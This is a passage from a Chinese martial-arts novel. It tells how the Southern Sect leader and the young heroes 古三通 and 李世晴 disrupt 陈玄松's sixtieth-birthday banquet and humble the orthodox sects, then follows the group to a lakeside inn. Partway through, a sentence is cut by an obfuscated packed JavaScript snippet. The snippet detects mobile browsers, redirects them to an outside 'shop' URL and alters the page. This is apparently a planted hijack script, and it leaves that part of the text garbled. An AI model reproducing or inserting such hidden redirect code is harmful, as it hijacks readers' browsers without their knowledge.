此次武林各大门派齐聚太湖,名为祝寿,实际目的彼此心知肚明,即联手对付魔教与古三通。少林方丈未直接出面,而是派遣门下弟子前来,可见是不愿主动卷入争斗。若论门派实力,少林之后,唯有武当。陈玄松曾经是武当弟子,又是当年太湖之战的唯一存活者,清楚魔教武功路数。各派皆想宿苍山庄与武当派联手出面,于是天星子与何凌云事先商量约定,由何凌云挑起话头,一面奉承讨好陈玄松,一面讽刺白石道人的徒孙郑无相,原以为碍着身份,武当派不会当面发难,只能迁怒古三通,却不知为何惹恼了宿苍山庄。 “哈哈哈!今日乃是陈老庄主六十大寿,本该喜事,怎么反倒惹庄主烦忧?” 就在气氛尴尬之时,一阵豪迈的笑声从天而降,响若惊雷,震得堂内房梁微微颤抖。在座之人皆是武学大家,即知来者武功之高,不容小觑,急忙奔出。 众人循声来到山庄前院,只见一行十人已伫立场中。紧接着各派弟子也蜂拥而至,将来人团团围住,剑拔弩张。 再看来者十人皆是汉人打扮,为首一男一女。男子体型健壮,眉宇之间锐气难挡,而其身旁少女轻纱掩面,难辨容貌,可光看那一对凤眼以及窈窕身姿,定是美人无疑。他们身后跟着八名汉子,两两挑着一担礼盒,盛满金银玉翠。 陈玄松暗暗吃惊,虽然今日寿宴,客似云来,但他门下弟子众多,严守沿山要道,怎会任由十个大活人潜入腹地而毫无察觉? “贵客来访,敝庄蓬荜生辉!但请恕老朽眼拙,不知是哪派高人驾临?” “陈老庄主言重了!”为首男子朗声道,“晚辈执掌南教花白龙,听闻今日乃庄主六十大寿,特来祝贺!” 此话一出,众人皆骇。原本今日七派齐聚宿苍山庄就是为了商讨共同对付魔教与古三通,岂料相商未果,魔教教主已然不请自来,可见魔教早已窥探中原武林各派动向,定是来者不善。 在中原众派高手之中,何凌云性子急躁,几乎就要拔剑上前,却被一旁的白石道人和天星子拦下。 花白龙见众人沉默警惕,坦然大笑道: “素问中原汉人好客明礼,晚辈亲自前来祝寿,就得到这样的招待吗?” “失敬!南教教主大驾光临,老朽不胜荣幸。只不过,滇南偏远,区区寿辰,原本未敢劳烦大驾。教主突然驾临,这才有失远迎!” 陈玄松到底是一派之主,久经风浪,自有定力,他言语巧妙,话外之意将过错归咎于花白龙的不请自来。可花白龙同样不动声色,继续道: “宿苍山庄乃中原武林名门,我游历至此,既然有幸遇上这武林盛典,岂有不来之理?寿礼也已备好,请庄主笑纳!” 说着,花白龙示意手下将寿礼抬上,回头却见身后少女紧绷身子,僵立不动,便暗中向她使了个眼色。 花白凤自小长在滇南,此前从未踏足中原,对汉人礼教、武林各派知之甚少,但她知道,抑或说教中老人告诉她,所谓中原武林、名门大派皆是虚伪小人,口口声声行侠仗义,实际上却排挤、辱骂南教,事实上也确实如此。 这一年来,花白凤跟随哥哥游历中原,最初因为一身苗家女子的装扮,经常被人白眼相向、甚至出言调戏。花白凤性格火爆,自然反击,可到最后传扬开来,总会变成“魔教滋事,为祸中原”。因此,这一路走来,花白凤对汉人的愤恨有增无减。即使如此,眼下她仍须忍耐,只因这是哥哥的命令。 二十年前,花白凤的父亲,也就是前任南教教主命丧太湖时,她仍未出世,母亲也在生下她之后不久,随父亲而去。因此,在花白凤的认知中,她唯一的亲人就是哥哥。花白凤小时候听教中老人说起旧日情形,当年父亲战死中原时,哥哥只有八岁,噩耗传来,教内动荡,许多贼人趁机作乱,哥哥雷厉风行,联合教内长老,铲除叛徒,登上教主之位,真可谓是英雄少年。花白凤每每听到这些故事,心中对哥哥的依赖之情上又添一分敬佩。也正因如此,花白凤对哥哥言听计从。就好比此次游历中原,只因哥哥叮嘱绝不可与汉人发生冲突,花白凤就尽可能地控制心中愤恨。为了减少麻烦,花白凤情愿褪下她最爱的苗族衣裙和银饰,换作汉人女子装扮,轻纱掩面,也是为了不让人看出她的愤怒。 至于今日,哥哥提出拜访宿苍山庄,为他们杀父仇人的陈玄松祝寿,花白凤尽管万分不解,还是跟来。临行之前,哥哥千叮万嘱,无论发生什么,都不可与中原各派冲突,实在不知如何应对,就模仿哥哥的言行举止。花白凤原也打算照做,可谁知来到宿苍山庄,面对众多敌视的目光,花白凤怒火重燃。直到哥哥眼色使来,花白凤才回过神来,心中几番挣扎,最终强压火气,学着哥哥的模样拱手行礼。 一声嗤笑,不知从何处起,却如同一枚火星,引爆某种潜在的氛围。霎时间,院内中原各派弟子不约而同指向花白凤哈哈大笑,无数嘲笑汇成巨大旋涡将她淹没。花白凤身处旋涡中心,承受四面八方而来的羞辱,不知因何而起,更无从反击,只能咬牙隐忍。 再看堂前,陈玄松以及七派掌门高手不似院中弟子那般肆无忌惮,但脸上亦是笑意难掩,眼中鄙夷更加一览无余。 “你们……你们笑什么?笑什么!” 花白凤强忍着哭腔,心中万千委屈待出口之时,却只有两句无力的控诉。 可这两句控诉并未换来同情与收敛,只有更多的羞辱。只见明溪师太冷哼一声,一甩拂尘,厌恶地别过身去。袁玉淑手掩朱唇,笑容造作,一待开口,尽是讥讽。 “姑娘莫恼!女诫有云:阴阳殊性,男女异行,行礼亦是如此。男之吉拜尚左,女之吉拜尚右。教主声称来此是为陈老庄主祝寿,行礼左手在外,确是吉拜,可姑娘行礼仍是左手在外,就成了凶拜。不过我想姑娘亦非有意而为,毕竟出身苗疆南蛮,不谙华夏礼数,只能有样学样,终究还是要怪教主教化怠惰,自取其辱罢了!” 若说院中众人只是嘲笑自己,花白凤尚能勉强忍耐,可袁玉淑话语嘲讽明指哥哥,花白凤顿时只觉一股怒气直冲天灵,手已按在腰间长鞭之上。 “够了!” 未等花白凤的长鞭击出,一声怒喝震慑全场。 众人不知这一声怒喝从而起,只觉得如同飓风突降,瞬间扫平院中笑声。 “袁掌门此言差矣!” 此声由四面八方而来,似是用了千里传音之术,叫人寻不着源头。若细听,此声中气十足,足见来人内力浑厚,却又声润如玉,不似花白龙那般气势逼人。 “若真依女诫所云:妇言,不必辩口利辞。袁掌门如此巧言强辩,已违妇德。若真是阴阳殊性,明溪师太和袁掌门以妇人之身接任一派掌门,与众位掌门平起平坐,亦是越礼。南教诸位远来是客,纵使不谙中原礼教,言行有所疏失,也不至受如此讥讽,诸位如此行事,岂非显得我中原武林气量狭小!” 此话字字犀利,话锋反转直指中原武林各派,叫众人无言反驳,袁玉淑首当其冲,更是被气得涨红了脸,险些拔剑,却被花白龙豪迈的笑声打断。 “哈哈哈,古少侠、李少侠果然准时!既然来了,何不现身?荆州镇南镖局一事,昆仑派何掌门必定也想听一个解释。” “你还敢提镇南镖局!” 提及荆州镇南镖局,何凌云再度情绪失控。 这也难怪,当今武林皆知,何凌云的夫人原是荆州镇南镖局的千金。多年前,前任昆仑掌门命丧太湖,随即门派内乱,几大弟子围绕掌门之位争斗不休,最终何凌云全靠岳家相助才夺得掌门之位。因此,何凌云登位之后,也对镇南镖局极尽维护帮衬。 江湖传言,在三个月前,镇南镖局走镖途径江陵,受到袭击,运船被烧,货物丢失,镇南镖局颜面大损,何凌云的妻弟、镇南镖局少当家被卷入其中,身受重伤,至今昏迷不醒。老当家也因此气急攻心,一病不起。原本犯人身份不明,可又有传言,事发之时曾见魔教中人在江陵出没,一时间武林纷纷猜测魔教夺镖伤人。奈何无真凭实据,魔教势力亦不容小觑,故而镇南镖局与昆仑派皆不敢莽撞寻仇。可如今魔教教主现身,又出动提及此事,这让何凌云如何不怒? 花白龙见何凌云气势汹汹,也不急着分辨,继续高声道: “大丈夫敢作敢当,古少侠与少当家是公平决斗,何必遮遮掩掩?” 花白龙此为激将之法,若是心性稳重之人,自然不会中计;可若是对付心思单纯之人,却有奇效。 果然,忽见围墙外一道白影跃出,如雄鹰翱翔,掠过众人,转瞬已至场中。接着,又有二人紧随而至。 待白衣少年身形一定,已有人认出,怒喝道: “古三通!” 院中众人一时沸然,个中愤怒相较于面对魔教,有过之而无不及。 古三通面对四面八方而来的恶意,倒也坦然。他看向何凌云,淡淡道: “没什么可解释的!三个月前,我的确与你的小舅子打了一架,不过那是公平决斗,我自问也是点到即止,未曾伤他性命,何掌门还想知道什么?” “胡说!”何凌云怒火瞬时转向古三通,“你若点到即止,为何内弟身受重伤,至今昏迷不醒?倘若公平决斗,为何镇南镖局运船被烧,货物丢失?说到底,定是你诡计偷袭,再夺镖伤人,还妄称胜者!” “如此说来也是。”一旁的天星子挑拨道,“我听说当日镇南镖局江陵遇袭,除去少当家外,还有许多镖师在场,倘若真如古少侠所言,为何江湖流言纷纷,镇南镖局却未见任何澄清?” 原本此来宿苍山庄之前,古三通已被叮嘱不可冲动生事,他本人也对虚名不甚在意。只可惜,古三通是个武痴,好好一场公平比试被曲解成阴谋诡计,再加上旁人煽风点火,硬是说得他好似胜之不武,便忍无可忍,上前一步,怒道: “那就问那些人去!当日相约公平比试,在场镇南镖局的人皆是见证。你那小舅子大言不惭,自诩学了昆仑派轻功绝学,为了炫耀,非要在船上比试,结果是个草包。我打他三下屁股,他就要死要活,放火连人带船都烧了,还问我……” 古三通越说越气,却被人生生拦下。只见他身后的青衫公子上前一步,挡在古三通面前。另一位红衣男子同样上前,抓住古三通肩头,眼神示意不可再说。 再看堂前各派掌门高手,个个脸色阴沉,尤其是何凌云,紧握手中宝剑,眼中已是凶光毕露。 这也难怪!镇南镖局于成祖年间创立,如今已逾百年。虽不能比肩少林武当这等泰山北斗,但是于湖广富庶之地行船走镖,势力庞大,加之与朝廷往来密切,名望非同一般。三个月前,镇南镖局为朝廷走镖,行至江陵被袭,货物下落不明,理应被朝廷治罪,无奈当日主持走镖的少当家重伤昏迷,老当家一病不起,而朝廷当务之急还是追查货物。可如今经古三通这么一说,根本没有劫镖,乃镇南镖局自毁货物,欺瞒朝廷,便是罪加一等。再有镇南镖局少当家技不如人,比武落败,自残躯体,陷害他人,更是败坏镇南镖局名声。 果然,未等何凌云发怒,只见院墙之外又有四人飞身而来。四人统一身着乌青帽衫,正是刑部四大名捕。为首一人胡须斑白,面相冷峻,年龄约莫五十来岁,乃四大名捕之首凌步天。他上前一步,追问道: “古少侠,此言当真?” 可未等古三通开口,何凌云已抢先辩解道: “凌捕头,莫听这小子胡言乱语!镇南镖局立业百年,声望有目共睹。况且,镇南镖局一向忠于朝廷,行事从未有过差错,刚才所言,定是这古三通栽赃陷害。” 何凌云一番推脱,又将脏水泼向古三通。古三通登时气极,可未等他发怒,身边的青衫公子已然上前。 “诸位,可否听在下一言!”只见这李世晴执扇一礼,毕恭毕敬道,“古兄弟初入江湖,礼数不周,以往言行多有冒犯,恳请诸位武林前辈大人大量,宽恕一二!至于镇南镖局一事,如今双方各执一词,想来其中另有隐情。既然事关朝廷,自当谨慎查证。古兄弟虽为人顽劣,但生性纯良,断然不会行此卑劣之事,在下愿以性命担保!” 李世晴言辞恳切恭敬,且字字在理,说得凌步天心思有些动摇。但李世晴漏算了一件事,千里传音之术可以隐藏声源何处,却无法改变一个人的声线。他一开口,众人即听出他就是方才出声维护花白凤之人。南教本就为中原武林不容,李世晴敢公然维护“魔教妖女”,斥责各派高人,自然招揽仇恨。 果然,李世晴话音一落,袁玉淑已然上前怒道: “放肆!哪里来的无名小辈,竟敢口出狂言!今日在场皆是武林前辈,岂由得你小子说三道四!” 袁玉淑此言明显是以辈分压人,虽声如洪钟,难免心虚。李世晴性情温和,虽刚才维护花白凤是出自本心,但到底打了在场各派的脸,如今面对袁玉淑的叱骂,为免再生事端,不愿反驳。可古三通脾气耿直,他见自己的好友言语恭敬,却换来一顿不明就里的叱骂,心中怒火再燃,上前出头道: “无名小辈?哼,我兄弟的名号说出来怕吓死你!听好了,这位可是上知天文,下知地理,琴棋书画,无一不精,医卜星象,无一不通,英俊潇洒,风靡武林万千女子的春梦了无痕,无痕公子!” 古三通添油加醋地给李世晴安了一长串名号,原以为是给好友长脸,却不知李世晴此刻只想挖个地洞躲起来。袁玉淑更是嗤笑道: “我执掌华山派少说十年,此处各派高手也是行走江湖多年的武林豪杰,怎么从未听过‘春梦了无痕’这等荒唐的名号?” “那玄机老人总该知道了吧!这位无痕公子可是玄机老人唯一的入室弟子。” 古三通心直口快,李世晴根本来不及阻止。李世晴向轻名利,又不愿卷入武林纷争,因此纵然一身本领,也从不寻人比武斗狠,更未曾对外宣扬师门身份,江湖上自然从未有过他的名号。如今古三通陡然说出,再看院中众人,片刻呆愣沉默后,又是哄堂大笑。 古三通无端受众人嘲笑,切身体会到花白凤刚才所受的屈辱,更明白眼前各大门派的虚伪以及仗势欺人,不由怒道: “又笑!笑什么笑?你们这帮人有病吧?” 众人无视古三通的控诉,笑了好一会儿,才渐渐止住。何凌云眼见古三通气红了脸,得意又鄙夷道: “我还以为何等英才少年,原来不过是个无知竖子。当今武林皆知,玄机老人乃世外高人,独来独往。当年有多少名门子弟欲拜入高人门下,皆不可得。我少年时有幸一睹高人风采,从未见高人身边有任何弟子跟随。如今玄机老人已多年不露面,一个不明来历的毛头小子竟敢借机假称高人弟子,也不掂量掂量自身斤两!若真要论起玄机老人弟子之缘,也该是天星道长。” 话至此处,众人的目光转向一旁的崆峒掌门天星子。只见天星子对何凌云拱手一礼,以示谦让,可得意之色已溢于言表。随着行礼,天星子手中的紫金佩剑也被提至胸前,日光映照之下,剑鞘上镶嵌的十八枚流星镖闪闪发光。 古三通初入江湖,各大门派之间的师承渊源并不熟识,但江湖传闻多少听过一些。据传,成化年间,玄机老人游历崆峒山,与前任崆峒掌门比武论道。当时,还是崆峒弟子的少年天星子有幸观战,目睹玄机老人之绝技“漫天花雨撒金钱”,感叹此门功夫精妙,心中暗记下来,苦苦钻研数年,却始终不得要领。数年后,玄机老人再访崆峒山,见天星子对这门武功如此着迷,虽不愿收他为徒,却也怕他过于执着,以致走火入魔,最终决定指点一二。天星子得玄机老人指点,再融合崆峒武学,最终自创一套功夫。 天星子随身携带紫金宝剑剑鞘上镶有十八枚流星飞镖,乃取崆峒山特有的紫晶宝石铸成。崆峒武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301038|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学之中有一门三十六式追云双剑剑法,右手剑主攻,左手剑主守。天星子据此改良,对敌之时,右手执宝剑,左手持剑鞘。宝剑攻击,崆峒剑招奇诡多变,防御已是难事,若再以内力催动剑鞘暗器,十八枚流星飞镖齐发,更是防不胜防。这门功夫被称为“流星追云剑”,而天星子也正是凭借这一手“流星追云剑”,于二十年前浩劫之际,一举夺得崆峒掌门宝座。 此等江湖传言,其间有多少夸大讹传,不得而知。古三通不管传闻如何,只见天星子刻意提起手中宝剑,得意洋洋地展现那十八枚流星飞镖,炫耀当年得到玄机老人指点之机缘,顿感可笑,不屑道: “大道理什么的我不懂,我只知道行走江湖,靠的是真功夫。不过学了点皮毛本事,就是玄机老人弟子之缘?若真这样算的话,我还是你师叔呢!” 其实古三通说得不错,玄机老人当年曾得到天池怪侠和玉龙仙客指点武学,方有日后成就。天星子以得到玄机老人指点武功自比弟子,而古三通却习得天池怪侠的最强武学,若真要论资排辈,古三通的确算得上天星子的“师叔”。 只是这段机缘并没有多少人知晓。古三通原也不屑论资排辈,只是看不惯各大门派以辈分压人,这才反唇相讥,图一时痛快,却不知引火烧身。 行走江湖,以武学本领论高低自是不错,可除此之外,还有门派辈分,后者乃名门大派最为看重。这一年来,古三通接连打败各派高手,已引起武林公愤,如今还自抬辈分,更是触及各大门派容忍之底线。 果然,古三通话音一落,院中气氛忽转沉郁。再看天星子,脸上似笑非笑。转瞬间,寒光一闪,天星子已拔剑向古三通胸口刺去。 所谓名门大派,皆以仁义礼信自居,行走江湖,比武论剑,都讲究个“光明磊落”。天星子身为一派掌门,却于众目睽睽之下偷袭古三通,本该被武林不齿。可如今古三通已是武林公敌,又一再出言狂妄,在场众人恨不能将他千刀万剐,若能趁机将他铲除,无论用何手段,恐怕都不会受到责难,反而因除去武林之害,赢得声名。这就是天星子心中盘算。 古三通不懂这些人心晦暗,因此毫无防备,加之天星子出剑奇快,转瞬已至。古三通堪堪躲过,胸衣已被挑破。古三通顿时大怒,抬腿向天星子持剑手腕踢去,几乎同时,天星子腕力一翻,一招“沧海云澜”,横削古三通腰胁。天星子凭长剑之利,剑锋先至,古三通迫于无奈,回身闪避,一记“鹞子翻身”,连退数丈。 “休想逃!”天星子冷笑一声,剑发如风,飞身追去。 “三通,莫要生事!” 李世晴忽然放声高喊,众人不解其意。李世晴是古三通的好友,眼下古三通被天星子追击,为何李世晴不为好友担忧,却反而提醒他不要生事? 只不过,众人疑问立即有了解答。只见古三通连连后退,忽地止步,回身一拳轰去。天星子临危应变,回剑横封,岂料古三通拳势之盛、拳风如炙,震得天星子反倒退一步。 攻守之势相易,古三通铁拳连出,拳势煊赫,将天星子周身罩在攻势之下。在场众多高手已看出端倪,陈玄松更是一声惊呼: “崆峒七伤拳!” 不错,古三通眼下所使的正是崆峒七伤拳。七伤拳乃崆峒派绝学,除非掌门或高阶的弟子不能修炼。古三通并非崆峒弟子,自然从未学过。但在半年前,古三通打败天星子座下两名高徒,夺得拳法口诀。 李世晴在一旁观战,心急如焚,可他并非害怕古三通落败。七伤拳乃内外兼修之武学,修练极其困难,修练者必须有深厚内功作为根基,依照拳法口诀循序渐进,至快十年方有小成。可古三通不同,他有金刚不坏神功,早已内力大成,再加上武学天资奇高,又夺得拳法口诀,仅靠半年修练已能与崆峒掌门斗得有来有回,这对于崆峒派上下而言,无疑是莫大的羞辱。 可这也正是古三通心中所图。古三通向轻名利,从不在意所谓门派出身,之所以说出李世晴的身份,只是不忿于各大门派以声望压人,却不想反招嘲笑,又见天星子借玄机老人指点之恩狐假虎威,更感气愤。因此,故意用崆峒派七伤拳对战天星子,杀其锐气。天星子察觉此意,怒火更盛,使出一招“连云叠嶂”,左手剑紧闭门户,右手剑抖落无数剑花刺去。古三通全然不惧,一拳“龙腾虎啸”,拳势更盛,不守反攻。 古三通到底年轻气盛,相比之下天星子更加老谋深算。他多年修为,双手剑已至变通如意之境,“连云叠嶂”招中套招,看似右手剑锋主攻,岂料忽取守势,向下一指,冷不防已被勾住古三通右手腕带,同时左手剑鞘翻转,一招“乱云飞渡”疾刺古三通胁下死穴。 天星子显然已动杀心。危急之刻,古三通不退反进,右手向前一送,“嗤”的一声腕带割裂,眼看着整只手掌要被斩下,他反手“拈花指力”一弹,荡开天星子右手剑锋,随即身形一展,又从左手剑下闪过。 这还未完,古三通身如游龙,在剑风激荡之下从容闪避,旋即反攻,一招“尖峰破云”,直冲丹田。半年前,古三通正是凭这一招打败天星子的两名徒弟。但天星子到底是一派掌门,不可同日而语。只见天星子右手剑身下按,以极巧柔劲化解拳势,借力而起,左手内力催动,眨眼间,十八枚流星镖一齐射来。 十八枚流星镖疾飞如箭,从四面八方射来,密如罗网,将古三通罩在当中,叫他避无可避。古三通也干脆立定不动。各派弟子见状,暗笑古三通方才气焰嚣张,如今却吓破了胆,不能动弹。却不见古三通气定神闲,丝毫没有惊慌之色。 紧接着,一道青影蹁跹,李世晴不知何时身法腾挪,挡在古三通面前,手捻一朵山茶花,手腕翻转,长指一弹,花瓣四散,纷落如雨。旁人只见花雨纷扬,岂料暗藏玄劲,只听“叮叮叮”满空连响,十八枚流星飞镖被分毫不差击落。 这一切发生不过在眨眼之间,伴随着飞镖落地的清脆声响,众人方才缓缓回过神来。天星子看着掉落一地的飞镖,惊觉自己苦苦钻研半生的绝技竟被一招打败,又抬头向前望去,透过飘零的花雨,只见那一张英俊的面庞神色温和,没有半分杀气,仿佛刚才的神乎其技对他而言不值一提。天星子恍惚想起多年前所见的一位老人,同样是不管手中施展何等绝妙武功,始终面色温和,仿佛世间万事皆不值得挂怀于心。想至此处,天星子只觉苦涩、酸楚、不甘等等情绪涌上心头,近乎失神地喃喃道: “这……这才是……” “看到没有,这才是童叟无欺、正宗又正宗的漫天花雨撒金钱!” 仿佛早已预料一切,古三通抢过话头,也不管李世晴愿不愿意,再一次高声宣扬朋友的身份。 再看院中众人,依旧阴沉着脸,却已无刚才那般气焰。这也难怪,数十年前玄机老人行走江湖,暗器功夫冠绝武林,其绝技“漫天花雨撒金钱”,摘叶飞花,力抵千钧。而李世晴仅凭一朵山茶花精准击落十八枚流星飞镖,这等功力在场有几人能敌?李世晴作为玄机老人弟子的身份已然不言自明。 古三通眼见院中武林各派气焰全消,不敢直视李世晴,又想起他们刚才仗势欺人的嘴脸,心中厌恶更增,高声道: “怎么不笑了?什么名门大派,到头来只会欺软怕硬、恃众欺寡……” “失敬!失敬!” 古三通还要数落,却被李世晴按下。回头再看,宿苍山庄庄主陈玄松拾级而下,抱拳快步走来。 “请恕老朽眼拙,竟不知公子乃玄机老人之高足!礼数不周,实在惭愧!” 陈玄松言语激动,险些就要跪倒一拜,幸被李世晴及时扶住。古三通看在眼里,不免吃惊。虽然古三通有意宣扬李世晴身份,打压各大门派嚣张气焰,却没想到陈玄松转变如此之快,况且宿苍山庄势力遍及太湖,陈玄松好歹也是一方之主,怎得如此前倨后恭?古三通心中暗笑,却不知这其中另有一段缘由: 二十五年前,宿苍山庄初创之时,恰逢太湖水患,陈玄松借开山大典邀请武林各派前来,共商治水良策。却不料,洪水之后,又生瘟疫,宿苍山庄首当其冲,连带赶赴来此的各派高手皆身染疫病。危难之际,恰逢玄机老人游历太湖,及时出手,研制治疫良方,方解危难。如此一来,玄机老人对于宿苍山庄恩同再造,武林各派也感念他的救治之恩,又敬佩那一身出神入化的武功,将他奉为天人。这就难怪,李世晴的身份一经证明,各派高手态度陡然一变,对他又敬又畏。 这其间缘由,古三通不知,可李世晴听师父说起过往日旧事,心中了然。但李世晴也是性情中人,虽不似古三通那般恣意狂放,但今日见各大门派所作所为,同样心生鄙夷。于是李世晴面色一冷,扶起陈玄松,后退一步,淡淡回应道: “陈老庄主言重!今日乃庄主寿辰,原该晚辈向庄主祝寿。” 李世晴不理会陈玄松的客套推辞,回身看向花白龙。只见花白龙已率随从退至一旁,面色悠然,全然看不透他心中意图。李世晴回想种种,他与古三通、朱无视今日前来,本就是受花白龙所邀,原只想暗中探查,怎料意外频生?仔细品察,这其间似乎不乏花白龙推波助澜。就好比刚才花白凤受众人嘲笑,李世晴一时意气,出言相帮,虽不后悔,但如今回想,花白龙眼见自己妹妹受众人嘲笑却未发一言,仿佛等待他人出面,引发更大波澜,若真是如此居心,实在令人胆寒。 思至此处,李世晴眼神一冷。花白龙似乎也有所察觉,微微笑道: “公子是有话对我说吗?” 眼下一切尚是猜测,李世晴也不好妄下论断,只道: “既然今日是陈老庄主寿辰,当以祝寿为先。虽然有诸多不快,但请教主宽宏大量,莫要计较!” “公子言重了!今日本就是为祝寿而来,既然公子觉得搅扰,我们告退就是!” 花白龙说罢,抬手指挥八名随从将礼盒放下,又对古三通、李世晴拱手道: “百年之约,先祖交情仍在。我们就在山下落脚,古兄、李兄若想叙旧,尽可以来找我,告辞!” 说罢,花白龙牵着花白凤的手,率众转身离开。 原以为风波暂时告一段落,可花白龙所说最后一句却令在场众人骇然。何时古三通与魔教有了交情?古三通武功高强,魔教势力庞大,若这二者联手,中原武林可还有生路? 李世晴察觉花白龙话语挑拨之意,可现下再辩解亦是枉然。只好转身对陈玄松与四大名捕拱手一礼,道: “今日是我等搅扰庄主寿辰,万望见谅!至于所说镇南镖局一事,我相信古兄弟无辜,也相信凌捕头自会查证。叨扰多时,请恕晚辈等人先行告退,他日再登门致歉!” 言至于此,朱、古、李三人不再理会众人诧异,亦是转身离开。 至此,宿苍山庄庄主陈玄松的六十寿宴被彻底搅乱。与之相对,一招击败崆峒掌门、“漫天花雨撒金钱”重现江湖,玄机老人唯一弟子、春梦了无痕公子就此名扬江湖。 24.诚心化郁结 柔情止干戈 七月时节,暑气正盛,即使入夜,仍旧炎热难当。太湖鱼米之乡,景色优美,尤以西山岛为佳,宿苍山庄座落于此,不乏江湖人物往来,商旅更是繁荣。因此,西山脚下遍布酒肆客栈,李世晴一行人选择其中一间客栈落脚。这间客栈临湖而建,清幽雅致,一楼建有水榭雅间。晚饭过后,李世晴一行人聚在一起饮茶乘凉。李世晴长身玉立于雕花窗前,眺望远方,只见波光粼粼,渔火点点,夜空星河灿烂,值此美景,李世晴却神色凝重,反复思量日间之事。 今日正值宿苍山庄庄主陈玄松六十大寿,李世晴、古三通、朱无视三人受到南教教主花白龙邀请前去,却因为种种缘由搅乱寿宴,李世晴还被迫出手,打败崆峒掌门,算是与各大门派结下仇怨。若为免是非,应该尽早离开此地。可古三通不肯,他执意要完成与南教的决战之约,李世晴也放心不下,他想到南教的刻意相邀和存心挑拨,隐隐预感还会有大事发生。李世晴盘算南教所作所为,始终不明白有何意图,他想着想着,忽觉脑海中一道倩影飘过,是南教圣女花白凤。李世晴大吃一惊,急忙强定心神,却被一股聒噪的声音搅扰。 “哎呀,素心,你今天是没看见,李兄一招漫天花雨撒金钱把那崆峒掌门教训得哑口无言,如此绝妙的暗器功夫我也做不到!再看那些名门大派一个个吓得不敢喘气,真叫人痛快!” 古三通兴高采烈地描述着今日胜果,但其他人兴致寥寥,毫不搭理。古三通讨了没趣,又见李世晴望着窗外出神,玩心又起,猛地向李世晴后背一拍。 “喂,你怎么回事?我在夸你,给点反应行不行?” 李世晴被这一拍吓了大跳,原本今日得罪七大门派已令李世晴焦头烂额,可古三通毫无忧虑,依旧一副没心没肺的模样。李世晴虽知他是孩童心性,仍不免气闷,憋了半天,幽幽开口道: “我还能说什么?今日多谢古兄,我的名声就此传扬开来,日后江湖厮杀纷拥而至,只怕太平日子再难有!” 古三通脾气耿直,人却不傻,自然听得出李世晴话里有话。其实李世晴说得不错,今日古三通对战天星子,以古三通的的修为,天星子根本不是对手,可当面对天星子暗器杀招之时,古三通岿然不动,意在逼李世晴出手。李世晴不愿树敌,更也不愿见好友伤损,最终被迫使出“漫天花雨洒金钱”。 “你这么说,是在怪我啦!” 古三通自知今日以身犯险,逼李世晴出手是有不妥,可他并无恶意,只是见不得好友受辱,意在替他出头,却不想李世晴这般态度,气道: “你今日也见那些名门大派嘴脸,实在令人作呕!你之所以出言帮那位南教圣女,不也是看不惯他们仗势欺人吗?结果那一个二个掌门不识好歹,不但嘲笑你,还敢拿当年玄机老人指点之恩耀武扬威,你再不显露本事,只怕他们还不知道天高地厚呢!素心你说,我这么做有错吗?” 素心是古三通指腹为婚的未婚妻,这一年来,她跟随古三通四处游历,有时免不得风餐露宿,但她从无怨言。素心自小受闺阁之教,不懂武功,因此每到一处,古三通先将素心安置在住处,再寻找高手挑战,待事情了结,就去接她,今日也是如此,素心唯有等待。 古三通生性好强,每每挑战得胜,总忍不住将比武情形向素心夸耀,素心不懂这些,也不喜欢,却还是耐心倾听,适时迎合,只因古三通是她的未来丈夫。 可今日不同,素心沉默不语,伏在桌前,对着烛火缝补衣裳,正是古三通今日比武被挑破的白袍,她巧手游走,一针一线细密缝合。古三通见素心不答,于是又问一遍,素心依旧不语。只待最后一针缝合,才放下活计,开口道: “我只是一介女子,许多道理都不懂。我只记得幼时读书,先生教过一句话,‘施诸己而不愿,勿施于人’。” “那又如何?” “可是要我说,施诸己愿,亦不可施于人。” 素心抬头直视古三通,与一贯的低眉顺目不同,此刻她的眼中有着属于自己的神采。 “你要争天下第一,比武挑战原也没什么。可李公子本是局外之人,因朋友之义,随你前来,你怎能拖好友下水?” 古三通料想不到,素心非但不帮自己,反而教训,更觉气愤,喊道: “你们一个个怎么都这样说,好像我故意害人似的!” “你虽非恶意,但李公子终归是因你而得罪人。” “得罪就得罪,又有何妨?那些名门大派、武林高手,嘴上漂亮,全是脓包!李兄一身本领,还怕他们!” “三通,话可不是这么说!”朱无视亦开口帮腔,“俗话说,双拳难敌四腿。今日所见各派高手,虽是武学修为不如你和李兄,但胜在门下弟子众多。况且,你要当天下第一,比武求胜,不怕得罪人,可李兄本是闲云野鹤,今日因你徒惹仇怨,你心中真无半分歉意吗?” 朱无视最后一问,问得古三通哑口无言。其实,这当中道理古三通并非不懂,可他是孩童脾气,越受教训,越要犟嘴。古三通无言反驳,索性双臂一抱,别过身去,混赖道: “是是是!千错万错全怪我!你俩一起教训,我还能说什么?我才是外人,我就不该在这儿!” 古三通向来口无遮拦,虽非恶意,却不知言语伤人犹胜刀剑。只见素心霍然起身,眼含泪花,委屈道: “你……你这是什么意思?为什么要这样说!” “我这叫有话直说,反正我就是这样,以后也不打算改。你若害怕被我拖累,只管……” 古三通越说越过火,却不料后背猛地钝痛,回头一看,只见肺俞穴已被点中。 肺俞穴乃人身气穴所在,武者修习,须得体内真气时刻运息不停。古三通猛被点中穴道,一口真气岔了,顿时无法发声,只得弯腰连连咳嗽。 “天热气躁,肝火伤身,古兄还是早些回去休息!” 古三通猛遭偷袭,怒气更盛,可一回头,却见李世晴脸色阴沉,神情之严厉前所未有,便如同见了先生的顽童一般,顿时没了脾气。加之他咳嗽不止,说不出话,只能赌气回瞪李世晴,可最终还是败下阵来,一声不响地转身回房。 古三通走后,室内依旧气氛沉闷。这时,梅琴突然跳起,她心思玲珑,挽起素心的手,柔声道: “素心姐姐,天气燥热,不如我们去厨房煮些雪梨水,你给古少侠送一碗去!” 素心这才回过神来,默默拭去眼角泪水,向李世晴行了一礼,跟随梅琴离开。 “素心……” 朱无视见素心情绪低落,本欲跟上前去安慰,却突觉肩头被人按住。 